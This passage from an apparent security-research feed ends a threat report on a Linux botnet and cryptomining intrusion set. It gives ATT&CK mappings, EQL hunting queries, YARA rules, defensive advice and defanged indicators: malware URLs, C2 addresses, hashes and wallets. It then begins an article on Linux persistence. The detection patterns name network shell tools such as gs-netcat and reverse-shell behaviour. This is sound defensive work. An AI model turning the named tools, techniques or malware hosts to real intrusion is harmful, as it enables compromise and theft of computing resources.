</thead>
<tbody>
<tr>
<td>Resource Development</td>
<td>T1587: Develop Capabilities</td>
<td>Malware</td>
</tr>
<tr>
<td></td>
<td>T1588: Obtain Capabilities</td>
<td>Tool</td>
</tr>
<tr>
<td></td>
<td>T1608: Stage Capabilities</td>
<td>Upload Malware</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Upload Tool</td>
</tr>
<tr>
<td>Initial Access</td>
<td>T1190: Exploit Public-Facing Application</td>
<td></td>
</tr>
<tr>
<td>Execution</td>
<td>T1059: Command and Scripting Interpreter</td>
<td>Unix Shell</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Python</td>
</tr>
<tr>
<td></td>
<td>T1053: Scheduled Task/Job</td>
<td>Cron</td>
</tr>
<tr>
<td>Persistence</td>
<td>T1546: Event Triggered Execution</td>
<td>Unix Shell Configuration Modification</td>
</tr>
<tr>
<td></td>
<td>T1053: Scheduled Task/Job</td>
<td>Cron</td>
</tr>
<tr>
<td></td>
<td>T1505: Server Software Component</td>
<td>Web Shell</td>
</tr>
<tr>
<td>Privilege Escalation</td>
<td>T1068: Exploitation for Privilege Escalation</td>
<td></td>
</tr>
<tr>
<td>Defense Evasion</td>
<td>T1140: Deobfuscate/Decode Files or Information</td>
<td></td>
</tr>
<tr>
<td></td>
<td>T1222: File and Directory Permissions Modification</td>
<td>Linux and Mac File and Directory Permissions Modification</td>
</tr>
<tr>
<td></td>
<td>T1564: Hide Artifacts</td>
<td>Hidden Files and Directories</td>
</tr>
<tr>
<td></td>
<td>T1070: Indicator Removal</td>
<td>Timestomp</td>
</tr>
<tr>
<td></td>
<td>T1036: Masquerading</td>
<td>Masquerade Task or Service</td>
</tr>
<tr>
<td></td>
<td>T1027: Obfuscated Files or Information</td>
<td>Software Packing</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Stripped Payloads</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Command Obfuscation</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Encrypted/Encoded File</td>
</tr>
<tr>
<td>Discovery</td>
<td>T1057: Process Discovery</td>
<td></td>
</tr>
<tr>
<td></td>
<td>T1082: System Information Discovery</td>
<td></td>
</tr>
<tr>
<td></td>
<td>T1061: System Network Configuration Discovery</td>
<td></td>
</tr>
<tr>
<td></td>
<td>T1049: System Network Connections Discovery</td>
<td></td>
</tr>
<tr>
<td></td>
<td>T1007: System Service Discovery</td>
<td></td>
</tr>
<tr>
<td>Collection</td>
<td>T1119: Automated Collection</td>
<td></td>
</tr>
<tr>
<td></td>
<td>T1005: Data from Local System</td>
<td></td>
</tr>
<tr>
<td>Command and Control</td>
<td>T1071: Application Layer Protocol</td>
<td>Web Protocols</td>
</tr>
<tr>
<td></td>
<td>T1132: Data Encoding</td>
<td>Standard Encoding</td>
</tr>
<tr>
<td></td>
<td>T1001: Data Obfuscation</td>
<td></td>
</tr>
<tr>
<td></td>
<td>T1573: Encrypted Channel</td>
<td>Symmetric Cryptography</td>
</tr>
<tr>
<td></td>
<td>T1105: Ingress Tool Transfer</td>
<td></td>
</tr>
<tr>
<td></td>
<td>T1571: Non-Standard Port</td>
<td></td>
</tr>
<tr>
<td></td>
<td>T1572: Protocol Tunneling</td>
<td></td>
</tr>
<tr>
<td></td>
<td>T1102: Web Service</td>
<td></td>
</tr>
<tr>
<td>Impact</td>
<td>T1496: Resource Hijacking</td>
<td></td>
</tr>
</tbody>
</table>
<h2><strong>Detecting REF6138</strong></h2>
<p>Elastic Security implements a multi-layer approach to threat detection, leveraging behavioral SIEM and Endpoint rules, YARA signatures and ML-based anomaly detection approaches. This section describes the detections built by Elastic Security that play a big role in capturing the identified threats.</p>
<h3>Detection</h3>
<p>The following detection rules were observed throughout the analysis of this intrusion set:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules_building_block/execution_linux_segfault.toml">Segfault Detection</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/defense_evasion_timestomp_touch.toml">Timestomping using Touch Command</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_shell_configuration_modification.toml">Shell Configuration Creation or Modification</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/defense_evasion_binary_copied_to_suspicious_directory.toml">System Binary Moved or Copied</a></li>
</ul>
<h3>Prevention</h3>
<p>The following behavior prevention events were observed throughout the analysis of this intrusion set:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/execution_linux_reverse_shell_via_suspicious_utility.toml">Linux Reverse Shell via Suspicious Utility</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/defense_evasion_defense_evasion_via_bind_mount.toml">Defense Evasion via Bind Mount</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/execution_linux_suspicious_child_process_execution_via_interactive_shell.toml">Linux Suspicious Child Process Execution via Interactive Shell</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/execution_potential_linux_hack_tool_launched.toml">Potential Linux Hack Tool Launched</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/privilege_escalation_privilege_escalation_via_pkexec_exploitation.toml">Privilege Escalation via PKEXEC Exploitation</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/lateral_movement_potential_ssh_it_ssh_worm_downloaded.toml">Potential SSH-IT SSH Worm Downloaded</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/persistence_scheduled_job_executing_binary_in_unusual_location.toml">Scheduled Job Executing Binary in Unusual Location</a></li>
</ul>
<p>The following YARA Signatures are in place to detect the KAIJI and RUDEDEVIL malware samples both as file and in-memory:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Linux_Generic_Threat.yar">Linux.Generic.Threat</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Linux_Hacktool_Flooder.yar">Linux.Hacktool.Flooder</a></li>
</ul>
<p>The following, soon to be released, endpoint rule alerts were observed throughout the analysis of this intrusion set:</p>
<ul>
<li>Potential Shell via Web Server</li>
<li>Potential Web Server Code Injection</li>
<li>Potential Shell Executed by Web Server User</li>
<li>Decode Activity via Web Server</li>
<li>Linux Telegram API Request</li>
<li>Suspicious Echo Execution</li>
</ul>
<h3>Hunting queries in Elastic</h3>
<p>The events for both KQL and EQL are provided with the Elastic Agent using the Elastic Defend integration. Hunting queries could return high signals or false positives. These queries are used to identify potentially suspicious behavior, but an investigation is required to validate the findings.</p>
<h4>EQL queries</h4>
<p>Using the Timeline section of the Security Solution in Kibana under the “Correlation” tab, you can use the below EQL queries to hunt for behaviors similar:</p>
<p><strong>Potential XMRIG Execution</strong></p>
<p>The following EQL query can be used to hunt for XMRIG executions within your environment.</p>
<pre><code>process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and (
  (
    process.args in (&quot;-a&quot;, &quot;--algo&quot;) and process.args in (
      &quot;gr&quot;, &quot;rx/graft&quot;, &quot;cn/upx2&quot;, &quot;argon2/chukwav2&quot;, &quot;cn/ccx&quot;, &quot;kawpow&quot;, &quot;rx/keva&quot;, &quot;cn-pico/tlo&quot;, &quot;rx/sfx&quot;, &quot;rx/arq&quot;,
      &quot;rx/0&quot;, &quot;argon2/chukwa&quot;, &quot;argon2/ninja&quot;, &quot;rx/wow&quot;, &quot;cn/fast&quot;, &quot;cn/rwz&quot;, &quot;cn/zls&quot;, &quot;cn/double&quot;, &quot;cn/r&quot;, &quot;cn-pico&quot;,
      &quot;cn/half&quot;, &quot;cn/2&quot;, &quot;cn/xao&quot;, &quot;cn/rto&quot;, &quot;cn-heavy/tube&quot;, &quot;cn-heavy/xhv&quot;, &quot;cn-heavy/0&quot;, &quot;cn/1&quot;, &quot;cn-lite/1&quot;,
      &quot;cn-lite/0&quot;, &quot;cn/0&quot;
    )
  ) or
  (
    process.args == &quot;--coin&quot; and process.args in (&quot;monero&quot;, &quot;arqma&quot;, &quot;dero&quot;)
  )
) and process.args in (&quot;-o&quot;, &quot;--url&quot;)
</code></pre>
<p><strong>MSR Write Access Enabled</strong></p>
<p>XMRIG leverages modprobe to enable write access to MSR. This activity is abnormal, and should not occur by-default.</p>
<pre><code>process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and process.name == &quot;modprobe&quot; and
process.args == &quot;msr&quot; and process.args == &quot;allow_writes=on&quot;
</code></pre>
<p><strong>Potential GSOCKET Activity</strong></p>
<p>This activity is default behavior when deploying GSOCKET through the recommended deployment methods. Additionally, several arguments are added to the query to decrease the chances of missing a more customized intrusion through GSOCKET.</p>
<pre><code>process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and
process.name in (&quot;bash&quot;, &quot;dash&quot;, &quot;sh&quot;, &quot;tcsh&quot;, &quot;csh&quot;, &quot;zsh&quot;, &quot;ksh&quot;, &quot;fish&quot;) and
process.command_line : (
&quot;*GS_ARGS=*&quot;, &quot;*gs-netcat*&quot;, &quot;*gs-sftp*&quot;, &quot;*gs-mount*&quot;, &quot;*gs-full-pipe*&quot;, &quot;*GS_NOINST=*&quot;, &quot;*GSOCKET_ARGS=*&quot;, &quot;*GS_DSTDIR=*&quot;, &quot;*GS_URL_BASE=*&quot;, &quot;*GS_OSARCH=*&quot;, &quot;*GS_DEBUG=*&quot;, &quot;*GS_HIDDEN_NAME=*&quot;, &quot;*GS_HOST=*&quot;, &quot;*GS_PORT=*&quot;, &quot;*GS_TG_TOKEN=*&quot;, &quot;*GS_TG_CHATID=*&quot;, &quot;*GS_DISCORD_KEY=*&quot;, &quot;*GS_WEBHOOK_KEY=*&quot;
)
</code></pre>
<p><strong>Potential Process Masquerading via Exec</strong></p>
<p>GSOCKET leverages the <code>exec -a</code> method to run a process under a different name. GSOCKET specifically leverages masquerades as kernel processes, but other malware may masquerade differently.</p>
<pre><code>process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and
process.name in (&quot;bash&quot;, &quot;dash&quot;, &quot;sh&quot;, &quot;tcsh&quot;, &quot;csh&quot;, &quot;zsh&quot;, &quot;ksh&quot;, &quot;fish&quot;) and process.args == &quot;-c&quot; and process.command_line : &quot;* exec -a *&quot;
</code></pre>
<p><strong>Renice or Ulimit Execution</strong></p>
<p>Several malwares, including KAIJI and RUDEDEVIL, leverage the renice utility to change the priority of processes or set resource limits for processes. This is commonly used by miner malware to increase the priority of mining processes to maximize the mining performance.</p>
<pre><code>process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and (
  process.name in (&quot;ulimit&quot;, &quot;renice&quot;) or (
  process.name in (&quot;bash&quot;, &quot;dash&quot;, &quot;sh&quot;, &quot;tcsh&quot;, &quot;csh&quot;, &quot;zsh&quot;, &quot;ksh&quot;, &quot;fish&quot;) and process.args == &quot;-c&quot; and
  process.command_line : (&quot;*ulimit*&quot;, &quot;*renice*&quot;)
  )
)
</code></pre>
<p><strong>Inexistent Cron(d) Service Started</strong></p>
<p>Both KAIJI and RUDEDEVIL establish persistence through the creation of a <code>cron(d)</code> service in <code>/etc/init.d/cron(d)</code>. <code>Cron</code>, by default, does not use a <code>SysV Init</code> service. Execution of a <code>cron(d)</code> service is suspicious, and should be analyzed further.</p>
<pre><code>process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and 
  process.name == &quot;systemctl&quot; and process.args == &quot;start&quot; and process.args in 
  (&quot;cron.service&quot;, &quot;crond.service&quot;, &quot;cron&quot;, &quot;crond&quot;)
</code></pre>
<p><strong>Suspicious /etc/ Process Execution from KAIJI</strong></p>
<p>The <code>/etc/</code> directory is not a commonly used directory for process executions. KAIJI is known to place a binary called <code>32678</code> and <code>id.services.conf</code> in the <code>/etc/</code> directory, to establish persistence and evade detection.</p>
<pre><code>process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and (process.executable regex &quot;&quot;&quot;/etc/[0-9].*&quot;&quot;&quot; or process.executable : (&quot;/etc/*.conf&quot;, &quot;/etc/.*&quot;))
</code></pre>
<p><strong>Hidden File Creation in /dev/ directory</strong></p>
<p>Creating hidden files in <code>/dev/</code> and <code>/dev/shm/</code> are not inherently malicious, however, this activity should be uncommon. KAIJI, GSOCKET and other malwares such as <code>K4SPREADER</code> are known to drop hidden files in these locations.</p>
<pre><code>file where event.type == &quot;creation&quot; and file.path : (&quot;/dev/shm/.*&quot;, &quot;/dev/.*&quot;)
</code></pre>
<p><strong>Suspicious Process Execution from Parent Executable in /boot/</strong></p>
<p>Malwares such as KAIJI and XORDDOS are known to place executable files in the <code>/boot/</code> directory, and leverage these to establish persistence while attempting to evade detection.</p>
<pre><code>process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and process.parent.executable : &quot;/boot/*&quot;
</code></pre>
<h4>YARA</h4>
<p>Elastic Security has created YARA rules to identify this activity. Below is the YARA rule to identify the custom <code>Apache2</code> malware:</p>
<pre><code>rule Linux_Trojan_Generic {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2024-09-20&quot;
        last_modified = &quot;2024-09-20&quot;
        os = &quot;Linux&quot;
        arch = &quot;x86&quot;
        threat_name = &quot;Linux.Trojan.Generic&quot;
        reference = &quot;https://www.elastic.co/de/security-labs/betting-on-bots&quot;
        license = &quot;Elastic License v2&quot;

    strings:
        $enc1 = { 74 73 0A 1C 1A 54 1A 11 54 0C 18 43 59 5B 3A 11 0B 16 14 10 0C 14 5B }
        $enc2 = { 18 1A 1A 1C 09 0D 43 59 0D 1C 01 0D 56 11 0D 14 15 55 18 09 09 15 10 }
        $enc3 = { 18 1A 1A 1C 09 0D 54 15 18 17 1E 0C 18 1E 1C 43 59 0B 0C }
        $enc4 = { 34 16 03 10 15 15 18 56 4C 57 49 59 51 2E 10 17 1D 16 0E 0A 59 37 }
        $key = &quot;yyyyyyyy&quot;
    condition:
        1 of ($enc*) and $key
}
</code></pre>
<p>To detect GSOCKET, including several of its adjacent tools, we created the following signature:</p>
<pre><code>rule Multi_Hacktool_Gsocket {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2024-09-20&quot;
        last_modified = &quot;2024-09-23&quot;
        os = &quot;Linux, MacOS&quot;
        arch = &quot;x86&quot;
        threat_name = &quot;Multi.Hacktool.Gsocket&quot;
        reference = &quot;https://www.elastic.co/de/security-labs/betting-on-bots&quot;
        license = &quot;Elastic License v2&quot;

    strings:
        $str1 = &quot;gsocket: gs_funcs not found&quot;
        $str2 = &quot;/share/gsocket/gs_funcs&quot;
        $str3 = &quot;$GSOCKET_ARGS&quot;
        $str4 = &quot;GSOCKET_SECRET&quot;
        $str5 = &quot;GS_HIJACK_PORTS&quot;
        $str6 = &quot;sftp -D gs-netcat&quot;
        $str7 = &quot;GS_NETCAT_BIN&quot;
        $str8 = &quot;GSOCKET_NO_GREETINGS&quot;
        $str9 = &quot;GS-NETCAT(1)&quot;
        $str10 = &quot;GSOCKET_SOCKS_IP&quot;
        $str11 = &quot;GSOCKET_SOCKS_PORT&quot;
        $str12 = &quot;gsocket(1)&quot;
        $str13 = &quot;gs-sftp(1)&quot;
        $str14 = &quot;gs-mount(1)&quot;
    condition:
        3 of them
}
</code></pre>
<p>Finally, the following signature was written to detect the <a href="https://github.com/nicocha30/ligolo-ng">open source Ligolo-ng tool</a>, as we have reason to believe this tool was used during this intrusion.</p>
<pre><code>rule Linux_Hacktool_LigoloNG {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2024-09-20&quot;
        last_modified = &quot;2024-09-20&quot;
        os = &quot;Linux&quot;
        arch = &quot;x86&quot;
        threat_name = &quot;Linux.Hacktool.LigoloNG&quot;
        reference = &quot;https://www.elastic.co/de/security-labs/betting-on-bots&quot;
        license = &quot;Elastic License v2&quot;

    strings:
        $a = &quot;https://github.com/nicocha30/ligolo-ng&quot;
        $b = &quot;@Nicocha30!&quot;
        $c = &quot;Ligolo-ng %s / %s / %s&quot;
    condition:
        all of them
}
</code></pre>
<h3>Defensive recommendations</h3>
<p>To effectively defend against malware campaigns and minimize the risk of intrusion, it’s crucial to implement a multi-layered approach to security. Here are some key defensive measures you should prioritize:</p>
<ol>
<li><strong>Keep Your Elastic Detection Rules Updated and Enabled</strong>: Ensure that your security tools, including any pre-built detection rules, are up to date. Continuous updates allow your systems to detect the latest malware signatures and behaviors.</li>
<li><strong>Enable Prevention Mode in Elastic Defend</strong>: Configure Elastic Defend in prevention mode to automatically block known threats rather than just alerting on them. Prevention mode ensures proactive defense against malware and exploits.</li>
<li><strong>Monitor Alerts and Logs</strong>: Regularly monitor alerts, logs, and servers for any signs of suspicious activity. Early detection of unusual behavior can help prevent a small breach from escalating into a full-blown compromise.</li>
<li><strong>Conduct Threat Hunting</strong>: Proactively investigate your environment for hidden threats that may have evaded detection. Threat hunting can uncover advanced attacks and persistent malware that bypass traditional security measures.</li>
<li><strong>Implement Web Application Firewalls (WAFs)</strong>: Use a WAF to block unauthorized or malicious traffic. A properly configured firewall can prevent many common web attacks.</li>
<li><strong>Enforce Strong Authentication for SSH</strong>: Use public/private key authentication for SSH access to protect against brute force attacks.</li>
<li><strong>Write Secure Code</strong>: Ensure that all custom software, especially web server technology, follows secure coding practices. Engaging professional security auditors to review your code can help identify and mitigate vulnerabilities before they are exploited.</li>
<li><strong>Regularly Patch and Update Systems</strong>: Keeping servers, applications, and software up to date is essential to defending against known vulnerabilities. Prompt patching minimizes the risk of being targeted by off-the-shelf exploits.</li>
</ol>
<p>By following these recommendations, you can significantly reduce the attack surface and strengthen your defense against ongoing or potential malware threats.</p>
<h2>Observations</h2>
<p>The following observables were discussed in this research. These are available for download in STIX or ECS format <a href="https://github.com/elastic/labs-releases/tree/main/indicators/ref6138">here</a>.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>72ac2877c9e4cd7d70673c0643eb16805977a9b8d55b6b2e5a6491db565cee1f</td>
<td>SHA-256</td>
<td>SystemdXC</td>
<td>XMRIG</td>
</tr>
<tr>
<td>82c55c169b6cb5e348be6e202163296b2b5d80fff2be791c21da9a8b84188684</td>
<td>SHA-256</td>
<td>apache2</td>
<td>apache2_unpacked</td>
</tr>
<tr>
<td>0fede7231267afc03b096ee6c1d3ded479b10ab235e260120bc9f68dd1fc54dd</td>
<td>SHA-256</td>
<td>apache2_upx_packed</td>
<td>apache2_upx_packed</td>
</tr>
<tr>
<td>9ee695e55907a99f097c4c0ad4eb24ae5cf3f8215e9904d787817f1becb9449e</td>
<td>SHA-256</td>
<td>download.sh</td>
<td>KAIJI Stager</td>
</tr>
<tr>
<td>1cdfb522acb1ad0745a4b88f072e40bf9aa113b63030fe002728bac50a46ae79</td>
<td>SHA-256</td>
<td>linux_386</td>
<td>KAIJI x86</td>
</tr>
<tr>
<td>d0ef2f020082556884361914114429ed82611ef8de09d878431745ccd07c06d8</td>
<td>SHA-256</td>
<td>linux_amd64</td>
<td>KAIJI x64</td>
</tr>
<tr>
<td>ad36cf59b5eb08799a50e9aece6f12cdfe8620062606ac6684d3b4509acc681b</td>
<td>SHA-256</td>
<td>linux_arm5</td>
<td>KAIJI ARM5</td>
</tr>
<tr>
<td>792a84a5bc8530285e2f6eb997054edb3d43460a99a089468e2cf81b5fd5cde6</td>
<td>SHA-256</td>
<td>linux_arm6</td>
<td>KAIJI ARM6</td>
</tr>
<tr>
<td>e19fb249db323d2388e91f92ff0c8a7a169caf34c3bdaf4d3544ce6bfb8b88b4</td>
<td>SHA-256</td>
<td>linux_arm64</td>
<td>KAIJI ARM64</td>
</tr>
<tr>
<td>3847c06f95dd92ec482212116408286986bb4b711e27def446fb4a524611b745</td>
<td>SHA-256</td>
<td>linux_arm7</td>
<td>KAIJI ARM7</td>
</tr>
<tr>
<td>fffee23324813743b8660282ccd745daa6fb058f2bf84b9960f70d888cd33ba0</td>
<td>SHA-256</td>
<td>linux_mips</td>
<td>KAIJI MIPS</td>
</tr>
<tr>
<td>6d40b58e97c7b4c34f7b5bdac88f46e943e25faa887e0e6ce5f2855008e83f55</td>
<td>SHA-256</td>
<td>linux_mips64</td>
<td>KAIJI MIPS64</td>
</tr>
<tr>
<td>0c3442b8c49844a1ee41705a9e4a710ae3c7cde76c69c2eab733366b2aa34814</td>
<td>SHA-256</td>
<td>linux_mips64el</td>
<td>KAIJI MIPS64 little-endian</td>
</tr>
<tr>
<td>310973f6f186947cb7cff0e7b46b4645acdd71e90104f334caa88a4fa8ad9988</td>
<td>SHA-256</td>
<td>linux_mips_softfloat</td>
<td>KAIJI MIPS softfloat</td>
</tr>
<tr>
<td>0d24a2e7da52bad03b0bda45c8435a29c4e1c9b483e425ae71b79fd122598527</td>
<td>SHA-256</td>
<td>linux_mipsel</td>
<td>KAIJI MIPS little-endian</td>
</tr>
<tr>
<td>36fc8eef2e1574e00ba3cf9e2267d4d295f6e9f138474e3bd85eb4d215f63196</td>
<td>SHA-256</td>
<td>linux_mipsel_softfloat</td>
<td>KAIJI MIPS little-endian softfloat</td>
</tr>
<tr>
<td>3c25a4406787cc5089e83e00350e49eb9f192d03d69e7a61b780b6828db1344f</td>
<td>SHA-256</td>
<td>linux_ppc64</td>
<td>KAIJI PPC64</td>
</tr>
<tr>
<td>7c16149db7766c6fd89f28031aa123408228f045e90aa03828c02562d9f9d1d7</td>
<td>SHA-256</td>
<td>linux_ppc64el</td>
<td>KAIJI PPC64 little-endian</td>
</tr>
<tr>
<td>09f935acbac36d224acfb809ad82c475d53d74ab505f057f5ac40611d7c3dbe7</td>
<td>SHA-256</td>
<td>l64_v0</td>
<td>RUDEDEVIL/LUFICER x64 version 0</td>
</tr>
<tr>
<td>ea0068702ea65725700b1dad73affe68cf29705c826d12a497dccf92d3cded46</td>
<td>SHA-256</td>
<td>l64_v1</td>
<td>RUDEDEVIL/LUFICER x64 version 1</td>
</tr>
<tr>
<td>160f232566968ade54ee875def81fc4ca69e5507faae0fceb5bef6139346496a</td>
<td>SHA-256</td>
<td>l64_v2</td>
<td>RUDEDEVIL/LUFICER x64 version 2</td>
</tr>
<tr>
<td>89b60cedc3a4efb02ceaf629d6675ec9541addae4689489f3ab8ec7741ec8055</td>
<td>SHA-256</td>
<td>l64_v3</td>
<td>RUDEDEVIL/LUFICER x64 version 3</td>
</tr>
<tr>
<td>20899c5e2ecd94b9e0a8d1af0114332c408fb65a6eb3837d4afee000b2a0941b</td>
<td>SHA-256</td>
<td>l86_v0</td>
<td>RUDEDEVIL/LUFICER x86 version 0</td>
</tr>
<tr>
<td>728dce11ffd7eb35f80553d0b2bc82191fe9ff8f0d0750fcca04d0e77d5be28c</td>
<td>SHA-256</td>
<td>l86_v1</td>
<td>RUDEDEVIL/LUFICER x86 version 1</td>
</tr>
<tr>
<td>47ceca049bfcb894c9a229e7234e8146d8aeda6edd1629bc4822ab826b5b9a40</td>
<td>SHA-256</td>
<td>l86_v2</td>
<td>RUDEDEVIL/LUFICER x86 version 2</td>
</tr>
<tr>
<td>e89f4073490e48aa03ec0256d0bfa6cf9c9ac6feb271a23cb6bc571170d1bcb5</td>
<td>SHA-256</td>
<td>l86_v3</td>
<td>RUDEDEVIL/LUFICER x86 version 3</td>
</tr>
<tr>
<td>d6350d8a664b3585108ee2b6f04f031d478e97a53962786b18e4780a3ca3da60</td>
<td>SHA-256</td>
<td>hjvhg.exe</td>
<td>Miner</td>
</tr>
<tr>
<td>54a5c82e4c68c399f56f0af6bde9fb797122239f0ebb8bcdb302e7c4fb02e1de</td>
<td>SHA-256</td>
<td>mvhhvcp3.exe</td>
<td>DONUT LOADER</td>
</tr>
<tr>
<td>9e32be17b25d3a6c00ebbfd03114a0947361b4eaf4b0e9d6349cbb95350bf976</td>
<td>SHA-256</td>
<td>vdfgb.exe</td>
<td>Miner</td>
</tr>
<tr>
<td><a href="http://gcp.pagaelrescate%5B.%5Dcom:8080/ifindyou">http://gcp.pagaelrescate[.]com:8080/ifindyou</a></td>
<td>url</td>
<td>ifindyou.sh</td>
<td>Stage 1</td>
</tr>
<tr>
<td><a href="http://gcp.pagaelrescate%5B.%5Dcom:8080/cycnet">http://gcp.pagaelrescate[.]com:8080/cycnet</a></td>
<td>url</td>
<td>cycnet.sh</td>
<td>Stage 2</td>
</tr>
<tr>
<td><a href="http://gcp.pagaelrescate%5B.%5Dcom:8080/testslot/enviador_slot">http://gcp.pagaelrescate[.]com:8080/testslot/enviador_slot</a></td>
<td>url</td>
<td>Enviador_slot.py</td>
<td>Stage 3</td>
</tr>
<tr>
<td><a href="http://gcp.pagaelrescate%5B.%5Dcom:8080/t9r/SystemdXC">http://gcp.pagaelrescate[.]com:8080/t9r/SystemdXC</a></td>
<td>url</td>
<td>SystemdXC</td>
<td>XMRIG</td>
</tr>
<tr>
<td><a href="http://38.54.125%5B.%5D192:8080/nginx-rc">http://38.54.125[.]192:8080/nginx-rc</a></td>
<td>url</td>
<td>nginx-rc</td>
<td>LIGOLO-NG</td>
</tr>
<tr>
<td><a href="http://62.72.22%5B.%5D91/apache2">http://62.72.22[.]91/apache2</a></td>
<td>url</td>
<td>apache2</td>
<td>Custom Malware</td>
</tr>
<tr>
<td><a href="http://62.72.22%5B.%5D91/apache2v86">http://62.72.22[.]91/apache2v86</a></td>
<td>url</td>
<td>apache2v86</td>
<td>Custom Malware</td>
</tr>
<tr>
<td><a href="http://91.92.241%5B.%5D103:8002/gk.php">http://91.92.241[.]103:8002/gk.php</a></td>
<td>url</td>
<td>gk.php</td>
<td>PHP Backdoor</td>
</tr>
<tr>
<td><a href="http://hfs.t1linux%5B.%5Dcom:7845/scdsshfk">http://hfs.t1linux[.]com:7845/scdsshfk</a></td>
<td>url</td>
<td>scdsshfk</td>
<td>XMRIG</td>
</tr>
<tr>
<td>gcp.pagaelrescate[.]com</td>
<td>domain-name</td>
<td></td>
<td>REF Hosting domain</td>
</tr>
<tr>
<td>nishabii[.]xyz</td>
<td>domain-name</td>
<td></td>
<td>RUDEDEVIL C2</td>
</tr>
<tr>
<td>3.147.53[.]183</td>
<td>ipv4-addr</td>
<td></td>
<td>Python Reverse Shell C2</td>
</tr>
<tr>
<td>38.54.125[.]192</td>
<td>ipv4-addr</td>
<td></td>
<td>C2 Server</td>
</tr>
<tr>
<td>107.178.101[.]245</td>
<td>ipv4-addr</td>
<td></td>
<td>Malware File Server (Rejetto)</td>
</tr>
<tr>
<td>62.72.22[.]91</td>
<td>ipv4-addr</td>
<td></td>
<td>Server Hosting Malware</td>
</tr>
<tr>
<td>91.92.241[.]103</td>
<td>ipv4-addr</td>
<td></td>
<td>C2 Server</td>
</tr>
<tr>
<td>61.160.194[.]160</td>
<td>ipv4-addr</td>
<td></td>
<td>Server Hosting Malware</td>
</tr>
<tr>
<td>41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL</td>
<td>XMR Wallet</td>
<td></td>
<td>RUDEDEVIL/LUFICER mining wallet</td>
</tr>
<tr>
<td>42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc</td>
<td>XMR Wallet</td>
<td></td>
<td>RUDEDEVIL/LUFICER mining wallet</td>
</tr>
<tr>
<td>1CSUkd5FZMis5NDauKLDkcpvvgV1zrBCBz</td>
<td>BTC Wallet</td>
<td></td>
<td>XMRIG mining wallet</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html">https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html</a></li>
<li><a href="https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/">https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/</a></li>
<li><a href="https://www.fortinet.com/blog/threat-research/multiple-threats-target-adobe-coldfusion-vulnerabilities">https://www.fortinet.com/blog/threat-research/multiple-threats-target-adobe-coldfusion-vulnerabilities</a></li>
<li><a href="https://www.aquasec.com/blog/lucifer-ddos-botnet-malware-is-targeting-apache-big-data-stack/">https://www.aquasec.com/blog/lucifer-ddos-botnet-malware-is-targeting-apache-big-data-stack/</a></li>
<li><a href="https://github.com/hackerschoice/gsocket">https://github.com/hackerschoice/gsocket</a></li>
</ul>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/de/security-labs/assets/images/betting-on-bots/betting-on-bots.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Linux Detection Engineering - A Sequel on Persistence Mechanisms]]></title>
            <link>https://www.elastic.co/de/security-labs/sequel-on-persistence-mechanisms</link>
            <guid>sequel-on-persistence-mechanisms</guid>
            <pubDate>Fri, 30 Aug 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[In this final part of this Linux persistence series, we'll continue exploring persistence mechanisms on Linux systems, focusing on more advanced techniques and how to detect them.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>In this third part of the <a href="https://search.elastic.co/?q=Linux%20Detection%20Engineering&amp;location%5B0%5D=Security%20Labs&amp;author%5B0%5D=Ruben%20Groenewoud">Linux Detection Engineering series</a>, we’ll dive deeper into the world of Linux persistence. We start with common or straightforward methods and move towards more complex or obscure techniques. The goal remains the same: to educate defenders and security researchers on the foundational aspects of Linux persistence by examining both trivial and more complicated methods, understanding how these methods work, how to hunt for them, and how to develop effective detection strategies.</p>
